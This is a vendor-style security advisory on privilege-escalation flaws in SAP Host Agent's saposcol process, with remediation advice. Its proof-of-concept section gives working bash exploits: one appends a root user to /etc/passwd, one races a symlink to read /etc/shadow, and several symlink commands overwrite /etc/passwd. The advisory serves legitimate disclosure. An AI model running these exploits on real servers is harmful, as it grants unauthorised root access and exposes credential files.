Vendor description
"SAP® Host Agent is an agent that can accomplish several life-cycle management tasks, such as operating system monitoring, database monitoring, system instance control and provisioning." [1]
Business recommendation
By exploiting the vulnerabilities documented in this advisory, a local attacker may escalate privileges on UNIX systems to fully compromise vulnerable servers and gain root privileges.
SEC Consult recommends to implement security note 3159736 where the documented issue is fixed according to the vendor. We advise installing the corrections as a matter of priority to keep business-critical data secured.
Vulnerability overview/description
Multiple vulnerabilities were identified that could allow a local attacker authenticated as <sid>adm to escalate privileges on SAP® UNIX systems. No additional user authentication is required to exploit these issues. The vulnerabilities are due to the privileged saposcol process generating files in its default working directory (/usr/sap/tmp; defined by profile parameter DIR_PERF) owned by the <sid>adm user (sapsys group), and following symbolic links (symlinks) when trying to open/create these files. Note that in some environments the directory might not be owned by the <sid>adm user account but be writable for all users of group sapsys including <sid>adm.
An attacker is able to spoof the symbolic links, thus traversing the file system and gaining access to unintended resources. This could permit an attacker to read/write/corrupt files owned by the root user account leading to privilege escalation.
1) UNIX Symlink Following and Insecure File Permissions in Detailed Lock Logging Feature of saposcol
The stand-alone saposcol binary available in UNIX systems at
/usr/sap/hostctrl/exe/saposcol provides a debugging feature called "detailed lock logging". For this option to be activated, the user <sid>adm can perform the following action:
Starting the stand-alone saposcol binary with command line argument
StartLockLog (/usr/sap/hostctrl/exe/saposcol StartLockLog)Once executed, a special flag is set in shared memory that triggers multiple running processes and services (sapstartsrv, saposcol) to create a file called SaposcolMonAreaLocking.log in the default working directory. This directory is writable by the user <sid>adm (group sapsys). One of the processes trying to create the file is the main saposcol service running in the context of the root user account. It was observed that the file is created by the process using the openat() syscall with flags O_WRONLY, O_CREAT and O_APPEND.
root@sapsrv:~# ps -efw
root 1998 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/
exe/host_profile
# Tracing the sapsocol process with PID 1998
root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q
[...]
openat(AT_FDCWD, "/usr/sap/tmp/SaposcolMonAreaLocking.log", O_WRONLY|
O_CREAT|O_APPEND, 0666) = 6
chmod("/usr/sap/tmp/SaposcolMonAreaLocking.log", 0666) = 0Since the openat() call does not have the O_EXCL flag set, it is not ensured that the process actually creates the file. That is, if the file under the given path already exists, the process tries to open the existing file for appending data to it and changing its permissions to world-readable/world-writable (666). Since the process, when opening an existing file, does not check (e.g., by setting the O_NOFOLLOW flag) whether it is a symbolic link that resolves to a target outside of the intended directory, an attacker can cause the process to operate on unauthorized files by placing a malicious symlink before activating the detailed lock logging feature via the stand-alone saposcol binary. This vulnerability may allow an attacker to gain read/ write access to arbitrary files owned by the root user account.
2) UNIX Symlink Following and Race Condition in Hardware Reporting Feature of saposcol
The main saposcol service running in the context of the root user account allows to generate reports containing information about the underlying operating system and hardware configuration. For these reports to be generated, the user <sid>adm can perform different actions:
- Using function GetSAPOSColHWConf of the saphostctrl binary
/usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf
[-format <tree|flat>]that generates a SOAP request for the host agent service (SAPHostControl) on port 1128/1129. The request is forwarded by sapstartsrv to the saposcol service for processing.
- Manually crafting a SOAP request identical to the one generated by the saphostctrl binary and sending it to localhost on port 1128 /1129 via the loopback interface (e.g., using curl). This request is forwarded by sapstartsrv to the saposcol service for processing.
- Using the dialog interface of the stand-alone saposcol binary
/usr/sap/hostctrl/exe/saposcol -dand its "ask" feature (ask Hardware/ ask HardwareXML) that communicates with the saposcol service using shared memory segments.
- Using transaction ST06 in the application layer (ABAP based instances only).
When requested via the SOAP interface of SAPHostControl (sapstartsrv), the privileged saposcol process tries to generate the file hwconfig_<host> / hw_<host>.xml (depending on whether the XML output format is queried) in its working directory. The process then collects information about OS resources and writes this data to the given file. Once saposcol finished its work, the SAPHostControl service opens and reads the file before providing the results to the caller via SOAP response. That is, the newly created file is handled as a shared resource by both processes. It was observed that when creating a malicious symlink before triggering the execution flow described above, the saposcol service does not verify if the link points to a resource outside of the intended directory. Therefore, the targeted file gets truncated, and the collected OS information is written into to it. This could allow an attacker to corrupt files owned by the root user account.
Moreover, by looking at the sequence of system calls, it was identified that this procedure also yields a race condition that could be exploited to gain unauthorized read access to files without corrupting them. The syscalls performed by the two processes, when the hardware report is requested via the SOAP interface of SAPHostControl, is shown in the following listing.
# Triggering the execution flow via the saphostctrl binary
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saphostctrl -function
GetSAPOSColHWConf
# Tracing the saposcol process with PID 1998
root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q -o
strace.saposcol -T -tt
root@sapsrv:~# cat strace.saposcol | grep "/usr/sap/tmp/hwconfig_sapsrv"
[...]
1998 01:06:18.370022 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv",
O_WRONLY|O_CREAT|O_EXCL|O_TRUNC, 0664) = 6
1998 01:06:18.370473 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0
1998 01:06:18.370581 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0664) = 0
1998 01:06:35.231717 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0
1998 01:06:35.231833 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0640) = 0
[...]
# Tracing the sapstartsrv SAPHostControl process with PID 1713
root@sapsrv:~# strace -f -e trace=open,openat,chmod,chown -p 1713 -q -o
strace.sapstartsrv -T -tt
root@sapsrv:~# less strace.sapstartsrv | grep "/usr/sap/tmp/hwconfig_sapsrv"
[...]
1713 01:06:35.782818 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv",
O_RDONLY) = 20
[...]It can be seen that the saposcol service first requests a file descriptor by creating the report file via the openat() syscall. The file is made readable/writable (664) to all users of group sapsys by means of the first series of chmod()/chown() syscalls. The process then retrieves the OS information and writes the results into the report file before a second series of chmod()/chown() syscall ensures that this file is made read-only (640) to users of group sapsys only. The program, however, does not check whether the file under the given path has changed since it was created in the first place. An attacker can attempt to place a malicious symlink in the interval between the saposcol process succeeds in creating the report file and obtaining a file descriptor and before the file permissions are changed by the second series of chmod()/chown() syscalls.
If an attacker manages to carefully choose the time period between triggering the execution flow and replacing the newly created file with a link to an otherwise inaccessible resource, this resource does not get corrupted. Instead, the targeted file is made readable to all users of group sapsys, and its content is returned by the SAPHostControl process opening the file in read-only mode afterwards. This may allow an attacker to gain read access to files owned by the root user account.
3) UNIX Symlink Following and Race Condition in System Log Feature of saposcol
The main saposcol service running in the context of the root user account allows to generate reports containing information about operating system logs. For these reports to be generated, the user <sid>adm can perform the following action:
- Using the dialog interface of the stand-alone saposcol binary
/usr/sap/hostctrl/exe/saposcol -dand its "ask" feature
ask OsSysLog <number of lines>that communicates with the main saposcol process using shared memory segments.
- Using transaction ST06 in the application layer (ABAP based instances only).
It was observed that when creating the system log report file ossyslog_<host> in its working directory, the saposcol process appears to be vulnerable to the same issues as described in 2.
4) UNIX Symlink Following in Log File Creation of saposcol
The main saposcol service running in the context of the root user account writes log information to the files dev_coll and dev_coll.tmp in its working directory. It was observed that when creating these log files during startup, the saposcol process resolves malicious symlinks which can be exploited to corrupt arbitrary files owned by the root user account. For successful exploitation, however, user interaction and a restart of the main saposcol process is required. To provoke a restart, the <sid>adm user can stop the running saposcol process by performing the following action:
- Using option -k of the stand-alone saposcol binary
/usr/sap/hostctrl/exe/saposcol -kthat communicates with the main saposcol process using shared memory segments.
5) UNIX Symlink Following in Shared Memory Dump File Creation of saposcol
The main saposcol service running in the context of the root user account writes the data in the shared memory segment to the file coll.put in its working directory when being terminated. It was observed that when creating this file, the saposcol process resolves malicious symlinks which can be exploited to corrupt arbitrary files owned by the root user account. To stop the running saposcol process and trigger the execution flow, the <sid>adm user can perform the following action:
- Using option -k of the stand-alone saposcol binary
/usr/sap/hostctrl/exe/saposcol -kthat communicates with the main saposcol process using shared memory segments.
Proof of concept
Note that the following PoCs are for demonstration purposes only and must not be executed in live environments.
1) UNIX Symlink Following and Insecure File Permissions in Detailed Lock Logging
For demonstration purposes, the bash snippet saposcollpe shown in the following listing can be executed when being authenticated to the local system as <sid>adm.
#!/bin/bash
PASSWD="/etc/passwd"
USER=$1
PASS=$(openssl passwd -1 -salt $1 $2)
echo "[i] Creating malicious symlink."
ln -sf $PASSWD /usr/sap/tmp/SaposcolMonAreaLocking.log;
echo "[i] Dropping dbg flag in shm via saposcol."
/usr/sap/hostctrl/exe/saposcol StartLockLog > /dev/null;
echo "[i] Waiting for permissions to be set..."
while true; do
if [ -w $PASSWD ]
then
rm -f /usr/sap/tmp/SaposcolMonAreaLocking.log;
/usr/sap/hostctrl/exe/saposcol StopLockLog > /dev/null;
echo "[i] Success. /etc/passwd is now world-writable."
echo "$USER:$PASS:0:0::/root:/bin/bash" >> /etc/passwd;
echo "[i] New user" $USER "with UID 0 created."
break
fi
done
echo "[+] Done"This script exploits the vulnerability to create a new user (username and password specified via command line args) holding root privileges.
secadm@sapsrv:~$ whoami
secadm
secadm@sapsrv:~$ id
uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst)
secadm@sapsrv:~$ ./saposcollpe sapmatt sappass
[i] Creating malicious symlink.
[i] Dropping dbg flag in shm via saposcol.
[i] Waiting for permissions to be set.
[i] Success. /etc/passwd is now world-writable.
[i] New user sapmatt with UID 0 created.
[+] Done
secadm@sapsrv:~$ su - sapmatt
Password:
Directory: /root
sapsrv:~# whoami
sapmatt
sapsrv:~# id
uid=0(sapmatt) gid=0(root) groups=0(root)2) UNIX Symlink Following and Race Condition in Hardware Reporting
For demonstration purposes, the bash snippet saposcolrace shown in the following listing can be executed when being authenticated to the local system as <sid>adm.
#!/bin/bash
HOST=$(hostname)
TARGETFILE=$1
COUNTER=10
OUT="CONTINUE"
ls -la $TARGETFILE
echo "[i] Racing..."
while [ -n "$OUT" ]
do
echo "[*] $COUNTER sec"
rm -f /usr/sap/tmp/hwconfig_$HOST
/usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf > /tmp/out 2>>/tmp/out &
sleep "$COUNTER"s; ln -sf $TARGETFILE /usr/sap/tmp/hwconfig_$HOST #set symbolic link
wait; rm -f /usr/sap/tmp/hwconfig_$HOST
OUT=$(cat /tmp/out | grep -i "HW File")
if [ -n "$OUT" ]
then
echo "[i] Final laps..."
let "COUNTER-=1"
else
OUT=$(cat /tmp/out | grep -i "LINUX Configuration")
let "COUNTER-=1"
fi
done
echo "[+] Profit!"
ls -la $TARGETFILE && cat /tmp/out && rm -f /tmp/outThis script exploits the vulnerability to obtain the contents of a file specified as a command line argument. In the following example, the /etc/shadow file containing password hashes of the system accounts is retrieved.
secadm@sapsrv:~$ whoami
secadm
secadm@sapsrv:~$ id
uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst)
secadm@sapsrv:~$ ./saposcolrace /etc/shadow
-rw-r----- 1 root shadow 609 Feb 9 2021 /etc/shadow
[i] Racing....
[*] 10 sec
[*] 9 sec
[*] 8 sec
[*] 7 sec
[*] 6 sec
[*] 5 sec
[*] 4 sec
[*] 3 sec
[i] Final laps....
[*] 2 sec
[+] Profit!
-rw-r----- 1 root sapsys 609 Feb 9 2021 /etc/shadow
Webmethod returned successfully
-----------------------------------------------------------------------
Name = /usr/sap/tmp/hwconfig_sapsrv
Content
-----------------------------------------------------------------------
root:*:18516::::::
bin:*:18516::::::
daemon:*:18516::::::
[...]3) UNIX Symlink Following and Race Condition in System Log Feature of saposcol
The vulnerability can be verified by placing a malicious symlink and querying the operating system logs via the stand-alone saposcol binary as shown in the following listing.
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/ossyslog_<host>
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -d
Collector > ask OsSysLog 10After execution, the file /etc/passwd containing essential user account information is overwritten by system log information. The file is also made read-only to users of group sapsys only. If the time period between querying the operating system log and replacing the newly created report file with a malicious symlink is chosen carefully (similar to the technique shown in 2.), the targeted file can be made readable without corrupting it.
4) UNIX Symlink Following in Log File Creation of saposcol
The vulnerability can be verified by placing a malicious symlink as shown in the following listing.
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll.tmpAfter a restart of the main saposcol process, the file /etc/passwd containing essential user account information is overwritten by log data.
5) UNIX Symlink Following in Shared Memory Dump File Creation of saposcol
The vulnerability can be verified by placing a malicious symlink and stopping the running saposcol process via the stand-alone saposcol binary as shown in the following listing.
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/coll.put
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -kAfter termination of the main saposcol process, the file /etc/passwd containing essential user account information is overwritten by current data in the shared memory segment.
Vulnerable / tested versions
The following versions of the binaries were found to be vulnerable during our tests:
- SAP® Host Agent 721 (patch no. 42)
- SAPOSCOL version COLL 22.11 721 - v2.42 (patch no. 1214)
- SAP® Host Agent 722 (patch no. 54)
- SAPOSCOL version COLL 22.11 722 - v2.49 (patch no. 1113)
According to the vendor the following releases and versions are affected by the discovered vulnerabilities:
- SAPHOSTAGENT 7.22